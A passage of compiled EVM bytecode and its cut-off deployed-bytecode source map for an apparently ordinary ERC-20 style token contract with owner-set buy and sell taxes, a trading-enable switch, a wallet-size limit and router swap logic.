fffffff1681526020019081526020015f2054905092915050565b6113f86115ad565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611484576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147b90612eaf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e9906133a5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611622576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161990613433565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611690576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611687906134c1565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161176a9190612c53565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117dc9061354f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184a906135dd565b60405180910390fd5b5f8111611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c9061366b565b60405180910390fd5b61189d610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190b57506118db610a50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c2557601360149054906101000a900460ff16611a0a5761199c610a50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a00906136f9565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ab65760145481611a6b84610809565b611a759190613744565b10611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906137e7565b60405180910390fd5b5b5f611ac030610809565b90505f6015548210159050808015611ae55750601360159054906101000a900460ff16155b8015611b3e575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b565750601360169054906101000a900460ff165b8015611ba9575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611bfc575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c2257611c0a82612061565b5f4790505f811115611c2057611c1f47611fd2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611cc5575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611d76575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d75575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d83575f9050611f5e565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e2c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e4457600854600c81905550600954600d819055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611eed575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f5d575f60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16315f611f379190613805565b90505f8182611f469190613805565b9050600a54600c81905550600b54600d8190555050505b5b611f6a848484846122cc565b50505050565b5f838311158290611fb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fae9190612aae565b60405180910390fd5b505f8385611fc59190613805565b9050809150509392505050565b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612036573d5f803e3d5ffd5b5050565b5f806120446122f9565b9050612059818461232290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561209857612097613838565b5b6040519080825280602002602001820160405280156120c65781602001602082028036833780820191505090505b50905030815f815181106120dd576120dc613865565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612181573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121a59190613181565b816001815181106121b9576121b8613865565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061221f3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846115b4565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612281959493929190613949565b5f604051808303815f87803b158015612298575f80fd5b505af11580156122aa573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b806122da576122d961236b565b5b6122e58484846123a4565b806122f3576122f2612565565b5b50505050565b5f805f612304612579565b9150915061231b818361232290919063ffffffff16565b9250505090565b5f61236383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125d5565b905092915050565b5f600c5414801561237d57505f600d54145b6123a257600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806123b48988612636565b9550955095509550955095506124108660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461270090919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124a18560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274990919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506124eb816127a6565b6124f5848361285d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125529190612c53565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a764000090506125aa670de0b6b3a764000060065461232290919063ffffffff16565b8210156125c857600654670de0b6b3a76400009350935050506125d1565b81819350935050505b9091565b5f808311829061261b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126129190612aae565b60405180910390fd5b505f838561262991906139ce565b9050809150509392505050565b5f805f805f805f805f61264e8a600c54600d54612897565b9250925092505f61265d6122f9565b90505f805f61266e8e878787612929565b9250925092508e73ffffffffffffffffffffffffffffffffffffffff1660115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126ce575f6126d0565b825b836126db9190613805565b92508282828989899c509c509c509c509c509c50505050505050509295509295509295565b5f61274183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f70565b905092915050565b5f8082846127579190613744565b90508381101561279c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279390613a48565b60405180910390fd5b8091505092915050565b5f6127af6122f9565b90505f6127c582846129ad90919063ffffffff16565b90506128178160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274990919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b6128728260065461270090919063ffffffff16565b60068190555061288d8160075461274990919063ffffffff16565b6007819055505050565b5f805f806128c160646128b3888a6129ad90919063ffffffff16565b61232290919063ffffffff16565b90505f6128ea60646128dc888b6129ad90919063ffffffff16565b61232290919063ffffffff16565b90505f61291282612904858c61270090919063ffffffff16565b61270090919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061294085896129ad90919063ffffffff16565b90505f61295686896129ad90919063ffffffff16565b90505f61296c87896129ad90919063ffffffff16565b90505f61299482612986858761270090919063ffffffff16565b61270090919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036129bd575f9050612a1e565b5f82846129ca9190613a66565b90508284826129d991906139ce565b14612a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1090613b17565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612a5b578082015181840152602081019050612a40565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612a8082612a24565b612a8a8185612a2e565b9350612a9a818560208601612a3e565b612aa381612a66565b840191505092915050565b5f6020820190508181035f830152612ac68184612a76565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612afb82612ad2565b9050919050565b612b0b81612af1565b8114612b15575f80fd5b50565b5f81359050612b2681612b02565b92915050565b5f819050919050565b612b3e81612b2c565b8114612b48575f80fd5b50565b5f81359050612b5981612b35565b92915050565b5f8060408385031215612b7557612b74612ace565b5b5f612b8285828601612b18565b9250506020612b9385828601612b4b565b9150509250929050565b5f8115159050919050565b612bb181612b9d565b82525050565b5f602082019050612bca5f830184612ba8565b92915050565b5f819050919050565b5f612bf3612bee612be984612ad2565b612bd0565b612ad2565b9050919050565b5f612c0482612bd9565b9050919050565b5f612c1582612bfa565b9050919050565b612c2581612c0b565b82525050565b5f602082019050612c3e5f830184612c1c565b92915050565b612c4d81612b2c565b82525050565b5f602082019050612c665f830184612c44565b92915050565b5f805f60608486031215612c8357612c82612ace565b5b5f612c9086828701612b18565b9350506020612ca186828701612b18565b9250506040612cb286828701612b4b565b9150509250925092565b5f60ff82169050919050565b612cd181612cbc565b82525050565b5f602082019050612cea5f830184612cc8565b92915050565b612cf981612af1565b82525050565b5f602082019050612d125f830184612cf0565b92915050565b612d2181612b9d565b8114612d2b575f80fd5b50565b5f81359050612d3c81612d18565b92915050565b5f60208284031215612d5757612d56612ace565b5b5f612d6484828501612d2e565b91505092915050565b5f60208284031215612d8257612d81612ace565b5b5f612d8f84828501612b18565b91505092915050565b5f60208284031215612dad57612dac612ace565b5b5f612dba84828501612b4b565b91505092915050565b5f805f8060808587031215612ddb57612dda612ace565b5b5f612de887828801612b4b565b9450506020612df987828801612b4b565b9350506040612e0a87828801612b4b565b9250506060612e1b87828801612b4b565b91505092959194509250565b5f8060408385031215612e3d57612e3c612ace565b5b5f612e4a85828601612b18565b9250506020612e5b85828601612b18565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612e99602083612a2e565b9150612ea482612e65565b602082019050919050565b5f6020820190508181035f830152612ec681612e8d565b9050919050565b7f4275792072657761726473206d757374206265206265747765656e20302520615f8201527f6e64203325000000000000000000000000000000000000000000000000000000602082015250565b5f612f27602583612a2e565b9150612f3282612ecd565b604082019050919050565b5f6020820190508181035f830152612f5481612f1b565b9050919050565b7f42757920746178206d757374206265206265747765656e20302520616e6420355f8201527f2500000000000000000000000000000000000000000000000000000000000000602082015250565b5f612fb5602183612a2e565b9150612fc082612f5b565b604082019050919050565b5f6020820190508181035f830152612fe281612fa9565b9050919050565b7f53656c6c2072657761726473206d757374206265206265747765656e203025205f8201527f616e642033250000000000000000000000000000000000000000000000000000602082015250565b5f613043602683612a2e565b915061304e82612fe9565b604082019050919050565b5f6020820190508181035f83015261307081613037565b9050919050565b7f53656c6c20746178206d757374206265206265747765656e20302520616e64205f8201527f3525000000000000000000000000000000000000000000000000000000000000602082015250565b5f6130d1602283612a2e565b91506130dc82613077565b604082019050919050565b5f6020820190508181035f8301526130fe816130c5565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613139601783612a2e565b915061314482613105565b602082019050919050565b5f6020820190508181035f8301526131668161312d565b9050919050565b5f8151905061317b81612b02565b92915050565b5f6020828403121561319657613195612ace565b5b5f6131a38482850161316d565b91505092915050565b5f6040820190506131bf5f830185612cf0565b6131cc6020830184612cf0565b9392505050565b5f819050919050565b5f6131f66131f16131ec846131d3565b612bd0565b612b2c565b9050919050565b613206816131dc565b82525050565b5f60c08201905061321f5f830189612cf0565b61322c6020830188612c44565b61323960408301876131fd565b61324660608301866131fd565b6132536080830185612cf0565b61326060a0830184612c44565b979650505050505050565b5f8151905061327981612b35565b92915050565b5f805f6060848603121561329657613295612ace565b5b5f6132a38682870161326b565b93505060206132b48682870161326b565b92505060406132c58682870161326b565b9150509250925092565b5f6040820190506132e25f830185612cf0565b6132ef6020830184612c44565b9392505050565b5f8151905061330481612d18565b92915050565b5f6020828403121561331f5761331e612ace565b5b5f61332c848285016132f6565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61338f602683612a2e565b915061339a82613335565b604082019050919050565b5f6020820190508181035f8301526133bc81613383565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61341d602483612a2e565b9150613428826133c3565b604082019050919050565b5f6020820190508181035f83015261344a81613411565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6134ab602283612a2e565b91506134b682613451565b604082019050919050565b5f6020820190508181035f8301526134d88161349f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613539602583612a2e565b9150613544826134df565b604082019050919050565b5f6020820190508181035f8301526135668161352d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6135c7602383612a2e565b91506135d28261356d565b604082019050919050565b5f6020820190508181035f8301526135f4816135bb565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613655602983612a2e565b9150613660826135fb565b604082019050919050565b5f6020820190508181035f83015261368281613649565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f6136e3603f83612a2e565b91506136ee82613689565b604082019050919050565b5f6020820190508181035f830152613710816136d7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61374e82612b2c565b915061375983612b2c565b925082820190508082111561377157613770613717565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f6137d1602383612a2e565b91506137dc82613777565b604082019050919050565b5f6020820190508181035f8301526137fe816137c5565b9050919050565b5f61380f82612b2c565b915061381a83612b2c565b925082820390508181111561383257613831613717565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6138c481612af1565b82525050565b5f6138d583836138bb565b60208301905092915050565b5f602082019050919050565b5f6138f782613892565b613901818561389c565b935061390c836138ac565b805f5b8381101561393c57815161392388826138ca565b975061392e836138e1565b92505060018101905061390f565b5085935050505092915050565b5f60a08201905061395c5f830188612c44565b61396960208301876131fd565b818103604083015261397b81866138ed565b905061398a6060830185612cf0565b6139976080830184612c44565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6139d882612b2c565b91506139e383612b2c565b9250826139f3576139f26139a1565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613a32601b83612a2e565b9150613a3d826139fe565b602082019050919050565b5f6020820190508181035f830152613a5f81613a26565b9050919050565b5f613a7082612b2c565b9150613a7b83612b2c565b9250828202613a8981612b2c565b91508282048414831517613aa057613a9f613717565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b01602183612a2e565b9150613b0c82613aa7565b604082019050919050565b5f6020820190508181035f830152613b2e81613af5565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201bdf7499fb9bf9ebd057fbd82f92869b42b64f32f5f69f61f975001af445b0ee64736f6c63430008150033

Deployed Bytecode Sourcemap

4464:13244:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6519:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7451:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5762:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6799:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7653:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6009:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6707:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5810:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16787:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12106:234;;;;;;;;;;;;;:::i;:::-;;6903:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1937:148;;;;;;;;;;;;;:::i;:::-;;16898:80;;;;;;;;;;;;;:::i;:::-;;1721:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5954:48;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6611:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16595:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15855:687;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7050:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11862:235;;;;;;;;;;;;;:::i;:::-;;16986:719;;;:::i;:::-;;7258:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2094:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6519:83;6556:13;6589:5;;;;;;;;;;;;;;;;;6582:12;;6519:83;:::o;7451:193::-;7553:4;7575:39;7584:12;:10;:12::i;:::-;7598:7;7607:6;7575:8;:39::i;:::-;7632:4;7625:11;;7451:193;;;;:::o;5762:41::-;;;;;;;;;;;;;:::o;6799:95::-;6852:7;5075:21;6872:14;;6799:95;:::o;7653:446::-;7785:4;7802:36;7812:6;7820:9;7831:6;7802:9;:36::i;:::-;7849:220;7872:6;7893:12;:10;:12::i;:::-;7920:138;7976:6;7920:138;;;;;;;;;;;;;;;;;:11;:19;7932:6;7920:19;;;;;;;;;;;;;;;:33;7940:12;:10;:12::i;:::-;7920:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7849:8;:220::i;:::-;8087:4;8080:11;;7653:446;;;;;:::o;6009:53::-;;;;:::o;6707:83::-;6748:5;4751:1;6766:16;;6707:83;:::o;5810:28::-;;;;;;;;;;;;;:::o;16787:101::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16868:12:::1;16854:11;;:26;;;;;;;;;;;;;;;;;;16787:101:::0;:::o;12106:234::-;12172:19;;;;;;;;;;;12156:35;;:12;:10;:12::i;:::-;:35;;;:71;;;;12211:16;;;;;;;;;;;12195:32;;:12;:10;:12::i;:::-;:32;;;12156:71;12148:80;;;;;;12239:26;12268:21;12239:50;;12300:32;12313:18;12300:12;:32::i;:::-;12137:203;12106:234::o;6903:138::-;6969:7;6996:37;7016:7;:16;7024:7;7016:16;;;;;;;;;;;;;;;;6996:19;:37::i;:::-;6989:44;;6903:138;;;:::o;1937:148::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2044:1:::1;2007:40;;2028:6;::::0;::::1;;;;;;;;2007:40;;;;;;;;;;;;2075:1;2058:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1937:148::o:0;16898:80::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5025:8:::1;16950:14;:20;;;;16898:80::o:0;1721:79::-;1759:7;1786:6;;;;;;;;;;;1779:13;;1721:79;:::o;5954:48::-;;;;:::o;6611:87::-;6650:13;6683:7;;;;;;;;;;;;;;;;;6676:14;;6611:87;:::o;16595:139::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16708:18:::1;16686:19;:40;;;;16595:139:::0;:::o;15855:687::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16014:1:::1;15997:13;:18;;:40;;;;;16036:1;16019:13;:18;;15997:40;15989:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;16113:1;16098:11;:16;;:36;;;;;16133:1;16118:11;:16;;16098:36;16090:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;16209:1;16191:14;:19;;:42;;;;;16232:1;16214:14;:19;;16191:42;16183:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;16311:1;16295:12;:17;;:38;;;;;16332:1;16316:12;:17;;16295:38;16287:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;16402:13;16385:14;:30;;;;16444:14;16426:15;:32;;;;16484:11;16469:12;:26;;;;16522:12;16506:13;:28;;;;15855:687:::0;;;;:::o;7050:199::-;7155:4;7177:42;7187:12;:10;:12::i;:::-;7201:9;7212:6;7177:9;:42::i;:::-;7237:4;7230:11;;7050:199;;;;:::o;11862:235::-;11928:19;;;;;;;;;;;11912:35;;:12;:10;:12::i;:::-;:35;;;:71;;;;11967:16;;;;;;;;;;;11951:32;;:12;:10;:12::i;:::-;:32;;;11912:71;11904:80;;;;;;11995:23;12021:24;12039:4;12021:9;:24::i;:::-;11995:50;;12056:33;12073:15;12056:16;:33::i;:::-;11893:204;11862:235::o;16986:719::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17056:11:::1;;;;;;;;;;;17055:12;17047:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;17119:4;17105:11;;:18;;;;;;;;;;;;;;;;;;17134:35;17191:42;17134:100;;17263:16;17245:15;;:34;;;;;;;;;;;;;;;;;;17324:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17306:70;;;17385:4;17392:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17306:110;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17290:13;;:126;;;;;;;;;;;;;;;;;;5025:8;17429:11;:26;17449:4;17429:26;;;;;;;;;;;;;;;:52;17464:15;;;;;;;;;;;17429:52;;;;;;;;;;;;;;;:58;;;;17498:15;;;;;;;;;;;:31;;;17537:9;17556:4;17562:24;17580:4;17562:9;:24::i;:::-;17587:1;17589::::0;17591:7:::1;:5;:7::i;:::-;17599:15;17498:117;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;17633:13;;;;;;;;;;;17626:29;;;17664:15;;;;;;;;;;;17682:14;17626:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17036:669;16986:719::o:0;7258:184::-;7375:7;7407:11;:18;7419:5;7407:18;;;;;;;;;;;;;;;:27;7426:7;7407:27;;;;;;;;;;;;;;;;7400:34;;7258:184;;;;:::o;2094:244::-;1859:12;:10;:12::i;:::-;1849:22;;:6;;;;;;;;;;:22;;;1841:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2203:1:::1;2183:22;;:8;:22;;::::0;2175:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2293:8;2264:38;;2285:6;::::0;::::1;;;;;;;;2264:38;;;;;;;;;;;;2322:8;2313:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2094:244:::0;:::o;470:98::-;523:7;550:10;543:17;;470:98;:::o;8675:369::-;8819:1;8802:19;;:5;:19;;;8794:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8900:1;8881:21;;:7;:21;;;8873:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8982:6;8952:11;:18;8964:5;8952:18;;;;;;;;;;;;;;;:27;8971:7;8952:27;;;;;;;;;;;;;;;:36;;;;9020:7;9004:32;;9013:5;9004:32;;;9029:6;9004:32;;;;;;:::i;:::-;;;;;;;;8675:369;;;:::o;9053:2198::-;9191:1;9175:18;;:4;:18;;;9167:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9268:1;9254:16;;:2;:16;;;9246:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9338:1;9329:6;:10;9321:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9411:7;:5;:7::i;:::-;9403:15;;:4;:15;;;;:32;;;;;9428:7;:5;:7::i;:::-;9422:13;;:2;:13;;;;9403:32;:57;;;;;9455:4;9439:21;;:4;:21;;;;9403:57;:80;;;;;9478:4;9464:19;;:2;:19;;;;9403:80;9399:1001;;;9541:11;;;;;;;;;;;9536:144;;9589:7;:5;:7::i;:::-;9581:15;;:4;:15;;;9573:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9536:144;9706:13;;;;;;;;;;;9700:19;;:2;:19;;;9697:146;;9773:14;;9764:6;9748:13;9758:2;9748:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9740:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;9697:146;9860:28;9891:24;9909:4;9891:9;:24::i;:::-;9860:55;;9930:12;9969:19;;9945:20;:43;;9930:58;;10007:7;:18;;;;;10019:6;;;;;;;;;;;10018:7;10007:18;:43;;;;;10037:13;;;;;;;;;;;10029:21;;:4;:21;;;;10007:43;:58;;;;;10054:11;;;;;;;;;;;10007:58;:87;;;;;10070:18;:24;10089:4;10070:24;;;;;;;;;;;;;;;;;;;;;;;;;10069:25;10007:87;:114;;